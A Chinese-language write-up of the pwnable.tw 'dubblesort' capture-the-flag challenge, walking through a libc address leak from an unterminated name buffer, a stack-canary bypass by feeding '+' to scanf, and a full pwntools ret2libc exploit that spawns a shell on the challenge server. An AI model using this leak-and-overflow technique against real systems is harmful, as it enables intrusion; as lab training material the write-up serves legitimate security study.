pwnable.tw dubblesort writeup

查看文件基本信息

1
2
3
4
5
6
7
8
v1cky@ubuntu:~/Desktop/pwnable/dubblesort$ checksec dubblesort.dms
[*] '/home/v1cky/Desktop/pwnable/dubblesort/dubblesort.dms'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
1
2
3
4
v1cky@ubuntu:~/Desktop/pwnable/dubblesort$ ldd -d dubblesort.dms
linux-gate.so.1 => (0xf7fd7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dfc000)
/lib/ld-linux.so.2 (0xf7fd9000)

可以看到程序基本所有的安全机制都打开,并且属于动态链接,这道题还提供了libc文件。

1
2
3
4
5
6
7
8
9
10
What your name :dxp
Hello dxp
����/,How many numbers do you what to sort :4
Enter the 0 number : 1
Enter the 1 number : 3
Enter the 2 number : 2
Enter the 3 number : 4
Processing......
Result :
1 2 3 4

运行程序可以看出基本功能就是对输入的数字按照递增序列进行排序。但是在输出之前用户输入的name字段时,会同时输出一些乱码,这里可能存在栈内容泄露。

IDA分析程序逻辑

1
2
3
4
5
6
//main
__printf_chk(1, "What your name :");
read(0, &name, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &length);
v3 = length;

上面说到的输出name字段会出现乱码,是因为输入的时候使用的是read()函数,而read函数是以\n结尾的,不会自动的在末尾加上\00,但是输出的时候是使用的printf()函数,而printf()函数在输出字符串时遇到\00才会停止。这里就可以导致栈内数据泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int *v4; // edi
unsigned int v5; // esi
int v6; // ecx
unsigned int v7; // esi
int v8; // ST08_4
int result; // eax
int v10; // edx
unsigned int v11; // et1
unsigned int length; // [esp+18h] [ebp-74h]
int numbers; // [esp+1Ch] [ebp-70h] //存放输入数字的数组
char name; // [esp+3Ch] [ebp-50h]
unsigned int canary; // [esp+7Ch] [ebp-10h]

canary = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, &name, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &length);
v3 = length;
if ( length )
{
v4 = &numbers;
v5 = 0;
do
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
++v5;
v3 = length;
++v4;
}
while ( length > v5 );
}
sort((unsigned int *)&numbers, v3);
puts("Result :");
if ( length )
{

存放输入数字的数组距离在ebp-0x70的位置,也就是说存放数字的栈空间是有限的,但是代码中没有对数字的个数进行限制,也就是说可以造成栈溢出,覆盖返回地址,但是这里开启了canary保护,不能随便覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl sort(unsigned int *numbers, int size)
{
unsigned int v2; // edx
int v3; // ecx
unsigned int *end; // edi
unsigned int v5; // esi
unsigned int *start; // eax
int result; // eax
unsigned int canary_1; // et1
unsigned int canary; // [esp+1Ch] [ebp-20h]

canary = __readgsdword(0x14u);
puts("Processing......");
sleep(1u);
if ( size != 1 )
{
v3 = size - 2;
for ( end = &numbers[size - 1]; ; --end )
{
if ( v3 != -1 )
{
start = numbers; // numbers[0]
do
{
v2 = *start;
v5 = start[1];
if ( *start > v5 ) // 从左到右遍历数字,如果左边的数大于右边,则交换
{
*start = v5;
start[1] = v2;
}
++start;
}
while ( end != start );
if ( !v3 )
break;
}
--v3;
}
}
canary_1 = __readgsdword(0x14u); // canary
result = canary_1 ^ canary;
if ( canary_1 != canary )
sub_BA0(v3, v2);
return result;
}

排序函数的功能是将输入的数字按照递增顺序排列。并且只是交换值,没有改变排序后的数组的位置,也就是说我们只要将canary前面的数字都填充比它小的数字比如0,后面都填充比它大的数字,那么在排序之后canary的位置不会改变,也就是说可以这样绕过canary保护。

利用

首先要先泄露libc地址,利用之前输出name泄露栈地址这个洞。首先gdb调试

1
2
3
4
5
6
7
8
00:0000│ esp  0xffffd4f0 ◂— 0x0
01:0004│ 0xffffd4f4 —▸ 0xffffd52c ◂— 0xa707864 ('dxp\n')
02:0008│ 0xffffd4f8 ◂— 0x40 /* '@' */
03:000c│ 0xffffd4fc —▸ 0xf7e8f6bb (handle_intel+107) ◂— add esp, 0x10
04:0010│ 0xffffd500 —▸ 0xffffd52e ◂— 0xd75e0a70
05:0014│ 0xffffd504 —▸ 0xffffd62c —▸ 0xffffd794 ◂— 'XDG_SESSION_ID=1'
06:0018│ 0xffffd508 ◂— 0xe0
07:001c│ 0xffffd50c —▸ 0xf7f1df0a (_dl_vdso_vsym+106) ◂— mov edx, dword ptr [esp + 0x18]

输入name为’dxp’,可以看到栈上保存的为’dxp\n’,查看0xffffd52c及以下的栈内存数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0f:003c│ ecx esi  0xffffd52c ◂— 0xa707864 ('dxp\n')
10:0040│ 0xffffd530 —▸ 0xffffd75e ◂— '/home/v1cky/Desktop/pwnable/dubblesort/dubblesort.dms'
11:0044│ 0xffffd534 ◂— 0x2f /* '/' */
12:0048│ 0xffffd538 ◂— 0x8e
13:004c│ 0xffffd53c ◂— 0x16
14:0050│ 0xffffd540 ◂— 0x8000
15:0054│ 0xffffd544 —▸ 0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
16:0058│ 0xffffd548 —▸ 0xf7faf244 —▸ 0xf7e17020 (_IO_check_libio) ◂— call 0xf7f1eb59
17:005c│ 0xffffd54c —▸ 0x56555601 ◂— add ebx, 0x199f
18:0060│ 0xffffd550 —▸ 0x565557a9 ◂— add ebx, 0x17f7
19:0064│ 0xffffd554 —▸ 0x56556fa0 ◂— 0x1ea8
1a:0068│ 0xffffd558 ◂— 0x1
1b:006c│ 0xffffd55c —▸ 0x56555b72 ◂— add edi, 1
1c:0070│ 0xffffd560 ◂— 0x1
1d:0074│ 0xffffd564 —▸ 0xffffd624 —▸ 0xffffd75e ◂— '/home/v1cky/Desktop/pwnable/dubblesort/dubblesort.dms'
1e:0078│ 0xffffd568 —▸ 0xffffd62c —▸ 0xffffd794 ◂— 'XDG_SESSION_ID=1'
1f:007c│ 0xffffd56c ◂— 0xf417e200

在0xffffd544看到保存的地址0xf7fb1000为(”_GLOBAL_OFFSET_TABLE_即got.plt的地址“),使用vmmap查看内存空间,0xf7fb1000为动态链接库的地址。(0xffffd544-0xffffd52c) = 24。所以只要输入”a”*24就可以泄露libc的地址。输入24位a,保存在栈上时末尾的\n为覆盖掉0xf7fb1000末尾的00,在输出时,就会将该地址输出,将得到的地址减去0xa就得到libc的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp 1000 0 /home/v1cky/Desktop/pwnable/dubblesort/dubblesort.dms
0x56556000 0x56557000 r--p 1000 0 /home/v1cky/Desktop/pwnable/dubblesort/dubblesort.dms
0x56557000 0x56558000 rw-p 1000 1000 /home/v1cky/Desktop/pwnable/dubblesort/dubblesort.dms
0xf7dfe000 0xf7dff000 rw-p 1000 0
0xf7dff000 0xf7faf000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb1000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb2000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb2000 0xf7fb5000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffc1000 0xffffe000 rw-p 3d000 0 [stack]

使用readelf -S /lib/i386-linux-gnu/ld-2.23.so 命令,查看pot.plt的地址

1
2
3
4
5
6
7
8
9
10
11
12
v1cky@ubuntu:~/Desktop/pwnable/dubblesort$ readelf -S /lib/i386-linux-gnu/libc-2.23.so
There are 70 section headers, starting at offset 0x1b3784:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
......
[28] .data.rel.ro PROGBITS 001ae2e0 1ad2e0 001ad0 00 WA 0 0 32
[29] .dynamic DYNAMIC 001afdb0 1aedb0 0000f0 08 WA 5 0 4
[30] .got PROGBITS 001afea0 1aeea0 000150 04 WA 0 0 4
[31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4
[32] .data PROGBITS 001b0040 1af040 000e94 00 WA 0 0 32
[33] .bss NOBITS 001b0ee0 1afed4 002b3c 00 WA 0 0 32

所以libcbase_addr = 0xf7fb1000-0x001b0000 = 0xf7dff000与上面使用vmmap查看的libc的基地址相同。

这道题提供了使用的libc文件,查看提供的libc文件的pot.plt地址为0x001b0000。

1
2
3
4
5
6
7
8
9
10
11
  v1cky@ubuntu:~/Desktop/pwnable/dubblesort$ readelf -S libc_32.so.6
There are 68 section headers, starting at offset 0x1b0cc8:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
......
[29] .dynamic DYNAMIC 001afdb0 1aedb0 0000f0 08 WA 5 0 4
[30] .got PROGBITS 001afea0 1aeea0 000150 04 WA 0 0 4
[31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4
[32] .data PROGBITS 001b0040 1af040 000e94 00 WA 0 0 32
[33] .bss NOBITS 001b0ee0 1afed4 002b3c 00 WA 0 0 32

布置栈上的数据,并且保证canary的值不变。这里有个知识点是当scanf()读取非法字符时会发生格式错误,输入不会被写到栈上,由于没有清空缓冲区的函数,这个非法字符会一直留在缓冲区内,导致后面的输入也会报错,都不会被写到栈上。通过查看其它大佬的wp,发现+ - 这些字符会被视为合法输入,但是不会被写到栈上。

通过gdb调试发现,下面是输入一个数字5之后的栈内存数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> stack 32
00:0000│ esp 0xffffd4f0 —▸ 0x56555bfa ◂— and eax, 0x6e450075 /* '%u' */
01:0004│ 0xffffd4f4 —▸ 0xffffd508 ◂— 0x5
02:0008│ 0xffffd4f8 —▸ 0xffffd52c ◂— 0xa35 /* '5\n' */
03:000c│ 0xffffd4fc —▸ 0xf7e8f6bb (handle_intel+107) ◂— add esp, 0x10
04:0010│ 0xffffd500 —▸ 0xffffd52e ◂— 0xd75e0000
05:0014│ 0xffffd504 —▸ 0xffffd62c —▸ 0xffffd794 ◂— 'XDG_SESSION_ID=1'
06:0018│ 0xffffd508 ◂— 0x5
07:001c│ 0xffffd50c —▸ 0xf7f1df0a (_dl_vdso_vsym+106) ◂— mov edx, dword ptr [esp + 0x18]
08:0020│ 0xffffd510 —▸ 0xffffd52f —▸ 0xffd75e00 ◂— 0xffd75e00
09:0024│ 0xffffd514 ◂— 0x0
0a:0028│ 0xffffd518 ◂— 0xc30000
0b:002c│ 0xffffd51c ◂— 0x1
0c:0030│ 0xffffd520 ◂— 0x0

在依次输入5,4,+,2,1后的栈内存数据,可以看到输入+后栈的数据没有改变,并且视为了合法输入,之后的数字能正常被读取写到栈上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> stack 32
00:0000│ esp 0xffffd4f0 —▸ 0x56555bfa ◂— and eax, 0x6e450075 /* '%u' */
01:0004│ 0xffffd4f4 —▸ 0xffffd51c ◂— 0x1
02:0008│ 0xffffd4f8 ◂— 0x4
03:000c│ 0xffffd4fc —▸ 0xf7e8f6bb (handle_intel+107) ◂— add esp, 0x10
04:0010│ 0xffffd500 —▸ 0xffffd52e ◂— 0xd75e0000
05:0014│ 0xffffd504 —▸ 0xffffd62c —▸ 0xffffd794 ◂— 'XDG_SESSION_ID=1'
06:0018│ 0xffffd508 ◂— 0x5
... ↓
08:0020│ 0xffffd510 ◂— 0x4
09:0024│ 0xffffd514 ◂— 0x0
0a:0028│ 0xffffd518 ◂— 0x2
0b:002c│ edi 0xffffd51c ◂— 0x1
0c:0030│ 0xffffd520 ◂— 0x0

计算数字到ebp的距离为0x7c,在IDA可以看到numbers和canary的距离为0x60/4 = 24,所以需要先填充24个0,然后输入+非法字符但被视为合法输入不被写到栈上,可以绕过canary保护,然后canary到ebp的距离为0x7c-0x60-4 = 24/4 = 6,再加上覆盖ebp,需要填充比canary大的7个数,然后是onegadget的地址。

1
2
pwndbg> print  $ebp-0xffffd50c
$2 = (void *) 0x7c

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
p = remote('chall.pwnable.tw',10101)
#p = process('./dubblesort.dms')

elf_libc = ELF('./libc_32.so.6')
got_plt_offset = 0x1b0000

# leak libc address
payload_1 = "a"*24
p.recv()
p.sendline(payload_1)
libc_addr = u32(p.recv()[30:34])-0xa
libcbase_addr = libc_addr - got_plt_offset
#print hex(libcbase_addr)
#onegadget_addr =0x3a819 + libcbase_addr
sys_addr = libcbase_addr + elf_libc.symbols['system']
bin_sh_addr = libcbase_addr + elf_libc.search('/bin/sh').next()

p.sendline('35')
p.recv()

for i in range(24):
p.sendline('0')
p.recv()

p.sendline('+')
p.recv()


for i in range(9):
p.sendline(str(sys_addr))
p.recv()
p.sendline(str(bin_sh_addr))
p.recv()

p.interactive()